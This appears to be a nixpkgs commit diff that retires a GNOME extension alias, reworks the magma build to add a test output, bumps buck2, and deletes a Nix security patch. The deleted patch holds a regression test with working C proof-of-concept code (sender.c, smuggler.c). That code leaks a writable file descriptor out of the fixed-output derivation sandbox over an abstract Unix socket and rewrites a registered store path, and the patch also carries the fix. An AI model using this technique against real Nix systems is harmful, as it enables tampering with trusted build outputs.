···8181 arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14
8282 disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20
83838484+ icon-hider = throw "gnomeExtensions.icon-hider was removed on 2024-03-15. The extension has not received any updates since 2020/3.34.";
8485 nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks.";
8586 mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md";
8687 remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
···55# supportedGpuTargets: List String
66# }
7788-{ blas
88+{ autoPatchelfHook
99+, blas
910, cmake
1011, cudaPackages
1112, cudaSupport ? config.cudaSupport
···1920, libpthreadstubs
2021, magmaRelease
2122, ninja
2323+, python3
2224, config
2325 # At least one back-end has to be enabled,
2426 # and we can't default to CUDA since it's unfree
2527, rocmSupport ? !cudaSupport
2628, static ? stdenv.hostPlatform.isStatic
2729, stdenv
2828-, symlinkJoin
2930}:
303131323233let
3334 inherit (lib) lists strings trivial;
3434- inherit (cudaPackages) backendStdenv cudaFlags cudaVersion;
3535+ inherit (cudaPackages) cudaAtLeast cudaFlags cudaOlder;
3536 inherit (magmaRelease) version hash supportedGpuTargets;
36373738 # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements
···9596 inherit hash;
9697 };
97989999+ # Magma doesn't have anything which could be run under doCheck, but it does build test suite executables.
100100+ # These are moved to $test/bin/ and $test/lib/ in postInstall.
101101+ outputs = ["out" "test"];
102102+103103+ # Fixup for the python test runners
104104+ postPatch = ''
105105+ patchShebangs ./testing/run_{tests,summarize}.py
106106+ substituteInPlace ./testing/run_tests.py \
107107+ --replace-fail \
108108+ "print >>sys.stderr, cmdp, \"doesn't exist (original name: \" + cmd + \", precision: \" + precision + \")\"" \
109109+ "print(f\"{cmdp} doesn't exist (original name: {cmd}, precision: {precision})\", file=sys.stderr)"
110110+ '';
111111+98112 nativeBuildInputs = [
113113+ autoPatchelfHook
99114 cmake
100115 ninja
101116 gfortran
···107122 libpthreadstubs
108123 lapack
109124 blas
125125+ python3
110126 ] ++ lists.optionals cudaSupport (with cudaPackages; [
111127 cuda_cudart.dev # cuda_runtime.h
112128 cuda_cudart.lib # cudart
···115131 libcublas.lib # cublas
116132 libcusparse.dev # cusparse.h
117133 libcusparse.lib # cusparse
118118- ] ++ lists.optionals (strings.versionOlder cudaVersion "11.8") [
134134+ ] ++ lists.optionals (cudaOlder "11.8") [
119135 cuda_nvprof.dev # <cuda_profiler_api.h>
120120- ] ++ lists.optionals (strings.versionAtLeast cudaVersion "11.8") [
136136+ ] ++ lists.optionals (cudaAtLeast "11.8") [
121137 cuda_profiler_api.dev # <cuda_profiler_api.h>
122122- ] ++ lists.optionals (strings.versionAtLeast cudaVersion "12.0") [
138138+ ] ++ lists.optionals (cudaAtLeast "12.0") [
123139 cuda_cccl.dev # <nv/target>
124140 ]) ++ lists.optionals rocmSupport [
125141 rocmPackages.clr
···129145 ];
130146131147 cmakeFlags = [
132132- "-DGPU_TARGET=${gpuTargetString}"
133133- (lib.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
134134- (lib.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
135135- ] ++ lists.optionals static [
136136- "-DBUILD_SHARED_LIBS=OFF"
148148+ (strings.cmakeFeature "GPU_TARGET" gpuTargetString)
149149+ (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
150150+ (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
151151+ (strings.cmakeBool "BUILD_SHARED_LIBS" (!static))
152152+ # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will
153153+ # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify).
154154+ # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289
155155+ (strings.cmakeBool "USE_FORTRAN" true)
156156+ (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_")
157157+ (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_")
158158+ (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_")
137159 ] ++ lists.optionals cudaSupport [
138138- "-DCMAKE_CUDA_ARCHITECTURES=${cudaArchitecturesString}"
139139- "-DMIN_ARCH=${minArch}" # Disarms magma's asserts
140140- "-DCMAKE_C_COMPILER=${backendStdenv.cc}/bin/cc"
141141- "-DCMAKE_CXX_COMPILER=${backendStdenv.cc}/bin/c++"
160160+ (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
161161+ (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts
142162 ] ++ lists.optionals rocmSupport [
143143- "-DCMAKE_C_COMPILER=${rocmPackages.clr}/bin/hipcc"
144144- "-DCMAKE_CXX_COMPILER=${rocmPackages.clr}/bin/hipcc"
145145- ] ++ lists.optionals (cudaPackages.cudaAtLeast "12.0.0") [
146146- (lib.cmakeBool "USE_FORTRAN" false)
163163+ (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
164164+ (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
147165 ];
148166149149- buildFlags = [
150150- "magma"
151151- "magma_sparse"
152152- ];
153153-167167+ # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU.
154168 doCheck = false;
155169170170+ # Copy the files to the test output and fix the RPATHs.
171171+ postInstall =
172172+ # NOTE: The python scripts aren't copied by CMake into the build directory, so we must copy them from the source.
173173+ # TODO(@connorbaker): This should be handled by having CMakeLists.txt install them, but such a patch is
174174+ # out of the scope of the PR which introduces the `test` output: https://github.com/NixOS/nixpkgs/pull/283777.
175175+ # See https://github.com/NixOS/nixpkgs/pull/283777#discussion_r1482125034 for more information.
176176+ ''
177177+ install -Dm755 ../testing/run_{tests,summarize}.py -t "$test/bin/"
178178+ ''
179179+ # Copy core test executables and libraries over to the test output.
180180+ # NOTE: Magma doesn't provide tests for sparse solvers for ROCm, but it does for CUDA -- we put them both in the same
181181+ # install command to avoid the case where a glob would fail to find any files and cause the install command to fail
182182+ # because it has no files to install.
183183+ + ''
184184+ install -Dm755 ./testing/testing_* ./sparse/testing/testing_* -t "$test/bin/"
185185+ install -Dm755 ./lib/libtester.so ./lib/liblapacktest.so -t "$test/lib/"
186186+ ''
187187+ # All of the test executables and libraries will have a reference to the build directory in their RPATH, which we
188188+ # must remove. We do this by shrinking the RPATH to only include the Nix store. The autoPatchelfHook will take care
189189+ # of supplying the correct RPATH for needed libraries (like `libtester.so`).
190190+ + ''
191191+ find "$test" -type f -exec \
192192+ patchelf \
193193+ --shrink-rpath \
194194+ --allowed-rpath-prefixes "$NIX_STORE" \
195195+ {} \;
196196+ '';
197197+156198 passthru = {
157199 inherit cudaPackages cudaSupport rocmSupport gpuTargets;
158200 };
···168210 broken =
169211 !(cudaSupport || rocmSupport) # At least one back-end enabled
170212 || (cudaSupport && rocmSupport) # Mutually exclusive
171171- || (cudaSupport && strings.versionOlder cudaVersion "9");
213213+ || (cudaSupport && cudaOlder "9.0");
172214 };
173215}
···3838 buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json);
39394040 # our version of buck2; this should be a git tag
4141- version = "2024-01-15";
4141+ version = "2024-03-15";
42424343 # the platform-specific, statically linked binary — which is also
4444 # zstd-compressed
···6363 # tooling
6464 prelude-src =
6565 let
6666- prelude-hash = "ccf6f5d1693cfa215b60212cf9863d27c6fd6a69";
6666+ prelude-hash = "c68a0e4b35928891e72df1738c890bfcb76a6174";
6767 name = "buck2-prelude-${version}.tar.gz";
6868 hash = buildHashes."_prelude";
6969 url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
···11-From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
22-From: Tom Bereknyei <tomberek@gmail.com>
33-Date: Fri, 1 Mar 2024 03:42:26 -0500
44-Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
55-66-Test that we can't leverage abstract unix domain sockets to leak file
77-descriptors out of the sandbox and modify the path after it has been
88-registered.
99-1010-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
1111----
1212- flake.nix | 2 +
1313- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
1414- tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
1515- tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
1616- 4 files changed, 223 insertions(+)
1717- create mode 100644 tests/nixos/ca-fd-leak/default.nix
1818- create mode 100644 tests/nixos/ca-fd-leak/sender.c
1919- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
2020-2121-diff --git a/flake.nix b/flake.nix
2222-index 230bb6031..4a54c660f 100644
2323---- a/flake.nix
2424-+++ b/flake.nix
2525-@@ -634,6 +634,8 @@
2626- ["i686-linux" "x86_64-linux"]
2727- (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
2828-2929-+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
3030-+
3131-3232- # Make sure that nix-env still produces the exact same result
3333- # on a particular version of Nixpkgs.
3434-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
3535-new file mode 100644
3636-index 000000000..a6ae72adc
3737---- /dev/null
3838-+++ b/tests/nixos/ca-fd-leak/default.nix
3939-@@ -0,0 +1,90 @@
4040-+# Nix is a sandboxed build system. But Not everything can be handled inside its
4141-+# sandbox: Network access is normally blocked off, but to download sources, a
4242-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
4343-+# The detail here is not important, but in our case it means that the hash of
4444-+# the output has to be known beforehand. And if you know that, you get a few
4545-+# rights: you no longer run inside a special network namespace!
4646-+#
4747-+# Now, Linux has a special feature, that not many other unices do: Abstract
4848-+# unix domain sockets! Not only that, but those are namespaced using the
4949-+# network namespace! That means that we have a way to create sockets that are
5050-+# available in every single fixed-output derivation, and also all processes
5151-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
5252-+# well, the whole idea is that the output is pure, and all processes in the
5353-+# sandbox are killed before finalizing the output. What if we didn't need those
5454-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
5555-+# file descriptors around!
5656-+# This makes it possible to exfiltrate a file-descriptor with write access to
5757-+# $out outside of the sandbox. And that file-descriptor can be used to modify
5858-+# the contents of the store path after it has been registered.
5959-+
6060-+{ config, ... }:
6161-+
6262-+let
6363-+ pkgs = config.nodes.machine.nixpkgs.pkgs;
6464-+
6565-+ # Simple C program that sends a a file descriptor to `$out` to a Unix
6666-+ # domain socket.
6767-+ # Compiled statically so that we can easily send it to the VM and use it
6868-+ # inside the build sandbox.
6969-+ sender = pkgs.runCommandWith {
7070-+ name = "sender";
7171-+ stdenv = pkgs.pkgsStatic.stdenv;
7272-+ } ''
7373-+ $CC -static -o $out ${./sender.c}
7474-+ '';
7575-+
7676-+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
7777-+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
7878-+ # lives in a mount namespace where it is not! So even when this file exists
7979-+ # in the actual Nix store, we're capable of just modifying its contents...
8080-+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
8181-+
8282-+ # The abstract socket path used to exfiltrate the file descriptor
8383-+ socketName = "FODSandboxExfiltrationSocket";
8484-+in
8585-+{
8686-+ name = "ca-fd-leak";
8787-+
8888-+ nodes.machine =
8989-+ { config, lib, pkgs, ... }:
9090-+ { virtualisation.writableStore = true;
9191-+ nix.settings.substituters = lib.mkForce [ ];
9292-+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
9393-+ };
9494-+
9595-+ testScript = { nodes }: ''
9696-+ start_all()
9797-+
9898-+ machine.succeed("echo hello")
9999-+ # Start the smuggler server
100100-+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
101101-+
102102-+ # Build the smuggled derivation.
103103-+ # This will connect to the smuggler server and send it the file descriptor
104104-+ machine.succeed(r"""
105105-+ nix-build -E '
106106-+ builtins.derivation {
107107-+ name = "smuggled";
108108-+ system = builtins.currentSystem;
109109-+ # look ma, no tricks!
110110-+ outputHashMode = "flat";
111111-+ outputHashAlgo = "sha256";
112112-+ outputHash = builtins.hashString "sha256" "hello, world\n";
113113-+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
114114-+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
115115-+ }'
116116-+ """.strip())
117117-+
118118-+
119119-+ # Tell the smuggler server that we're done
120120-+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
121121-+
122122-+ # Check that the file was not modified
123123-+ machine.succeed(r"""
124124-+ cat ./result
125125-+ test "$(cat ./result)" = "hello, world"
126126-+ """.strip())
127127-+ '';
128128-+
129129-+}
130130-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
131131-new file mode 100644
132132-index 000000000..75e54fc8f
133133---- /dev/null
134134-+++ b/tests/nixos/ca-fd-leak/sender.c
135135-@@ -0,0 +1,65 @@
136136-+#include <sys/socket.h>
137137-+#include <sys/un.h>
138138-+#include <stdlib.h>
139139-+#include <stddef.h>
140140-+#include <stdio.h>
141141-+#include <unistd.h>
142142-+#include <fcntl.h>
143143-+#include <errno.h>
144144-+#include <string.h>
145145-+#include <assert.h>
146146-+
147147-+int main(int argc, char **argv) {
148148-+
149149-+ assert(argc == 2);
150150-+
151151-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
152152-+
153153-+ // Set up a abstract domain socket path to connect to.
154154-+ struct sockaddr_un data;
155155-+ data.sun_family = AF_UNIX;
156156-+ data.sun_path[0] = 0;
157157-+ strcpy(data.sun_path + 1, argv[1]);
158158-+
159159-+ // Now try to connect, To ensure we work no matter what order we are
160160-+ // executed in, just busyloop here.
161161-+ int res = -1;
162162-+ while (res < 0) {
163163-+ res = connect(sock, (const struct sockaddr *)&data,
164164-+ offsetof(struct sockaddr_un, sun_path)
165165-+ + strlen(argv[1])
166166-+ + 1);
167167-+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
168168-+ if (errno != ECONNREFUSED) break;
169169-+ }
170170-+
171171-+ // Write our message header.
172172-+ struct msghdr msg = {0};
173173-+ msg.msg_control = malloc(128);
174174-+ msg.msg_controllen = 128;
175175-+
176176-+ // Write an SCM_RIGHTS message containing the output path.
177177-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
178178-+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
179179-+ hdr->cmsg_level = SOL_SOCKET;
180180-+ hdr->cmsg_type = SCM_RIGHTS;
181181-+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
182182-+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
183183-+
184184-+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
185185-+
186186-+ // Write a single null byte too.
187187-+ msg.msg_iov = malloc(sizeof(struct iovec));
188188-+ msg.msg_iov[0].iov_base = "";
189189-+ msg.msg_iov[0].iov_len = 1;
190190-+ msg.msg_iovlen = 1;
191191-+
192192-+ // Send it to the othher side of this connection.
193193-+ res = sendmsg(sock, &msg, 0);
194194-+ if (res < 0) perror("sendmsg");
195195-+ int buf;
196196-+
197197-+ // Wait for the server to close the socket, implying that it has
198198-+ // received the commmand.
199199-+ recv(sock, (void *)&buf, sizeof(int), 0);
200200-+}
201201-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
202202-new file mode 100644
203203-index 000000000..82acf37e6
204204---- /dev/null
205205-+++ b/tests/nixos/ca-fd-leak/smuggler.c
206206-@@ -0,0 +1,66 @@
207207-+#include <sys/socket.h>
208208-+#include <sys/un.h>
209209-+#include <stdlib.h>
210210-+#include <stddef.h>
211211-+#include <stdio.h>
212212-+#include <unistd.h>
213213-+#include <assert.h>
214214-+
215215-+int main(int argc, char **argv) {
216216-+
217217-+ assert(argc == 2);
218218-+
219219-+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
220220-+
221221-+ // Bind to the socket.
222222-+ struct sockaddr_un data;
223223-+ data.sun_family = AF_UNIX;
224224-+ data.sun_path[0] = 0;
225225-+ strcpy(data.sun_path + 1, argv[1]);
226226-+ int res = bind(sock, (const struct sockaddr *)&data,
227227-+ offsetof(struct sockaddr_un, sun_path)
228228-+ + strlen(argv[1])
229229-+ + 1);
230230-+ if (res < 0) perror("bind");
231231-+
232232-+ res = listen(sock, 1);
233233-+ if (res < 0) perror("listen");
234234-+
235235-+ int smuggling_fd = -1;
236236-+
237237-+ // Accept the connection a first time to receive the file descriptor.
238238-+ fprintf(stderr, "%s\n", "Waiting for the first connection");
239239-+ int a = accept(sock, 0, 0);
240240-+ if (a < 0) perror("accept");
241241-+
242242-+ struct msghdr msg = {0};
243243-+ msg.msg_control = malloc(128);
244244-+ msg.msg_controllen = 128;
245245-+
246246-+ // Receive the file descriptor as sent by the smuggler.
247247-+ recvmsg(a, &msg, 0);
248248-+
249249-+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
250250-+ while (hdr) {
251251-+ if (hdr->cmsg_level == SOL_SOCKET
252252-+ && hdr->cmsg_type == SCM_RIGHTS) {
253253-+
254254-+ // Grab the copy of the file descriptor.
255255-+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
256256-+ }
257257-+
258258-+ hdr = CMSG_NXTHDR(&msg, hdr);
259259-+ }
260260-+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
261261-+ close(a);
262262-+
263263-+ // Wait for a second connection, which will tell us that the build is
264264-+ // done
265265-+ a = accept(sock, 0, 0);
266266-+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
267267-+ // Write a new content to the file
268268-+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
269269-+ char * new_content = "Pwned\n";
270270-+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
271271-+ if (written_bytes != strlen(new_content)) perror("write");
272272-+}
273273---
274274-2.42.0
275275-276276-277277-From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
278278-From: Tom Bereknyei <tomberek@gmail.com>
279279-Date: Fri, 1 Mar 2024 03:45:39 -0500
280280-Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
281281- registering them
282282-283283-It is possible to exfiltrate a file descriptor out of the build sandbox
284284-of FODs, and use it to modify the store path after it has been
285285-registered.
286286-To avoid that issue, don't register the output of the build, but a copy
287287-of it (that will be free of any leaked file descriptor).
288288-289289-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
290290-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
291291----
292292- src/libstore/build/local-derivation-goal.cc | 6 ++++++
293293- src/libutil/filesystem.cc | 6 ++++++
294294- src/libutil/util.hh | 7 +++++++
295295- 3 files changed, 19 insertions(+)
296296-297297-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
298298-index 64b55ca6a..f1e22f829 100644
299299---- a/src/libstore/build/local-derivation-goal.cc
300300-+++ b/src/libstore/build/local-derivation-goal.cc
301301-@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
302302- [&](const DerivationOutput::CAFixed & dof) {
303303- auto & wanted = dof.ca.hash;
304304-305305-+ // Replace the output by a fresh copy of itself to make sure
306306-+ // that there's no stale file descriptor pointing to it
307307-+ Path tmpOutput = actualPath + ".tmp";
308308-+ copyFile(actualPath, tmpOutput, true);
309309-+ renameFile(tmpOutput, actualPath);
310310-+
311311- auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
312312- .method = dof.ca.method,
313313- .hashType = wanted.type,
314314-diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
315315-index 11cc0c0e7..2a7787c0e 100644
316316---- a/src/libutil/filesystem.cc
317317-+++ b/src/libutil/filesystem.cc
318318-@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
319319- }
320320- }
321321-322322-+
323323-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
324324-+{
325325-+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
326326-+}
327327-+
328328- void renameFile(const Path & oldName, const Path & newName)
329329- {
330330- fs::rename(oldName, newName);
331331-diff --git a/src/libutil/util.hh b/src/libutil/util.hh
332332-index b302d6f45..59d42e0a5 100644
333333---- a/src/libutil/util.hh
334334-+++ b/src/libutil/util.hh
335335-@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
336336- */
337337- void moveFile(const Path & src, const Path & dst);
338338-339339-+/**
340340-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
341341-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
342342-+ * with the guaranty that the destination will be “fresh”, with no stale inode
343343-+ * or file descriptor pointing to it).
344344-+ */
345345-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
346346-347347- /**
348348- * Wrappers arount read()/write() that read/write exactly the
349349---
350350-2.42.0
351351-352352-353353-From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
354354-From: Tom Bereknyei <tomberek@gmail.com>
355355-Date: Fri, 1 Mar 2024 04:01:23 -0500
356356-Subject: [PATCH 3/3] Add release notes
357357-358358-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
359359----
360360- doc/manual/src/release-notes/rl-next.md | 8 ++++++++
361361- 1 file changed, 8 insertions(+)
362362-363363-diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
364364-index c869b5e2f..f77513385 100644
365365---- a/doc/manual/src/release-notes/rl-next.md
366366-+++ b/doc/manual/src/release-notes/rl-next.md
367367-@@ -1 +1,9 @@
368368- # Release X.Y (202?-??-??)
369369-+
370370-+- Fix a FOD sandbox escape:
371371-+ Cooperating Nix derivations could send file descriptors to files in the Nix
372372-+ store to each other via Unix domain sockets in the abstract namespace. This
373373-+ allowed one derivation to modify the output of the other derivation, after Nix
374374-+ has registered the path as "valid" and immutable in the Nix database.
375375-+ In particular, this allowed the output of fixed-output derivations to be
376376-+ modified from their expected content. This isn't the case any more.
377377---
378378-2.42.0
379379-